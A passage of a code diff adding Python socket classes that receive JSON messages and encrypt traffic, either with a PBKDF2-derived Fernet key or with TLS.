+ bytes_to_recieve = Bytes.format(body_size + self.RECV_HEADER_SIZE)
+
+ body_buffer_size = buffer_size - self.RECV_HEADER_SIZE
+ body = bytearray(body_size)
+ body[:buffer_size] = buffer[self.RECV_HEADER_SIZE:]
+ position += body_buffer_size
+
+ assert position <= body_size, f'Wrong value: {position} > {body_size}'
+
+ if callback:
+ history.append((Bytes.format(buffer_size),
+ Bytes.format(position + self.RECV_HEADER_SIZE),
+ bytes_to_recieve))
+
+ if position == body_size:
+ body = bytes(body)
+
+ if self.recv_callback:
+ body = self.recv_callback(body)
+
+ assert isinstance(body, bytes), f'Wrong type: {body=}'
+
+ body = body.decode(self.ENCODING, errors=LIBERAL_ENCODING_ERRORS)
+ body = json.loads(body, cls=ExtendedDecoder)
+
+ assert isinstance(body, dict), f'Wrong type: {body=}'
+
+ if callback:
+ callback(history)
+
+ return body
+
+class SymmetricSocket(Socket):
+
+ def __init__(
+ self,
+ *args,
+ password: str=None,
+ salt: str=None,
+ **kwargs
+ ) -> None:
+ super().__init__(*args, **kwargs)
+
+ assert isinstance(password, str) or password is None, f'Wrong type: {password=}'
+ assert isinstance(salt, str) or salt is None, f'Wrong type: {salt=}'
+
+ self.password = password
+ self.salt = salt
+
+ def set_context(self) -> None:
+ assert self.server_side, f'Wrong value: {self.server_side=}'
+
+ if self.is_host:
+ self.data_wrap = 'HOSTING :: AES'
+ self.data_wrap_notes = f'{self.password} :: {self.salt}'
+ else:
+ self.data_wrap = 'CONNECTING :: AES'
+ self.data_wrap_notes = 'AES_128_CBC_PKCS7_HMAC_SHA256'
+
+ def set_middleware(self) -> None:
+ assert not self.is_host, f'Wrong value: {self.is_host=}'
+ assert self.password, f'Missing attribute: {self.password=}'
+ assert self.salt, f'Missing attribute: {self.salt=}'
+
+ from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
+ from cryptography.hazmat.backends import default_backend
+ from cryptography.hazmat.primitives import hashes
+ from cryptography.fernet import Fernet
+
+ secret = PBKDF2HMAC(algorithm=hashes.SHA256(),
+ length=32,
+ salt=self.salt.encode(DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS),
+ iterations=320000,
+ backend=default_backend())
+ secret = secret.derive(self.password.encode(DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS))
+ secret = Fernet(base64.urlsafe_b64encode(secret))
+
+ recv_header_size = ''.ljust(self.RECV_HEADER_SIZE)
+ recv_header_size = recv_header_size.encode(DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS)
+ self.RECV_HEADER_SIZE = len(secret.encrypt(recv_header_size))
+ self.header_send_callback = lambda header: secret.encrypt(header)
+ self.header_recv_callback = lambda header: secret.decrypt(header)
+ self.send_callback = lambda body: secret.encrypt(zlib.compress(body))
+ self.recv_callback = lambda body: zlib.decompress(secret.decrypt(body))
+
+class AsymmetricSocket(Socket):
+
+ def __init__(
+ self,
+ *args,
+ public_key: str=None,
+ private_key: str=None,
+ public_key_data: str=None,
+ **kwargs
+ ) -> None:
+ super().__init__(*args, **kwargs)
+
+ assert isinstance(public_key, str) or public_key is None, f'Wrong type: {public_key=}'
+ assert isinstance(private_key, str) or private_key is None, f'Wrong type: {private_key=}'
+ assert isinstance(public_key_data, str) or public_key_data is None, f'Wrong type: {public_key_data=}'
+
+ self.public_key = public_key
+ self.private_key = private_key
+ self.public_key_data = public_key_data
+
+ def set_context(self) -> None:
+ assert self.server_side, f'Wrong value: {self.server_side=}'
+
+ if self.is_host:
+ self.data_wrap = 'HOSTING :: TLS'
+ self.data_wrap_notes = f'{self.public_key} :: {self.private_key}'
+ else:
+ self.data_wrap = 'CONNECTING :: TLS'
+ cipher = self.conn.cipher()
+
+ if cipher:
+ self.data_wrap_notes = ' :: '.join(cipher[:2])
+
+ def set_middleware(self) -> None:
+ if self.server_side:
+ assert self.is_host, f'Wrong value: {self.is_host=}'
+ assert self.public_key, f'Missing attribute: {self.public_key=}'
+ assert self.private_key, f'Missing attribute: {self.private_key=}'
+
+ context = ssl.SSLContext(ssl.PROTOCOL_TLS)
+ context.load_cert_chain(self.public_key, self.private_key)
+ self.conn = context.wrap_socket(self.conn, server_side=True)
+ else:
+ assert self.public_key_data, f'Missing attribute: {self.public_key_data=}'
+
+ context = ssl.SSLContext(ssl.PROTOCOL_TLS)
+ context.load_verify_locations(cadata=self.public_key_data)
+ self.conn = context.wrap_socket(self.conn)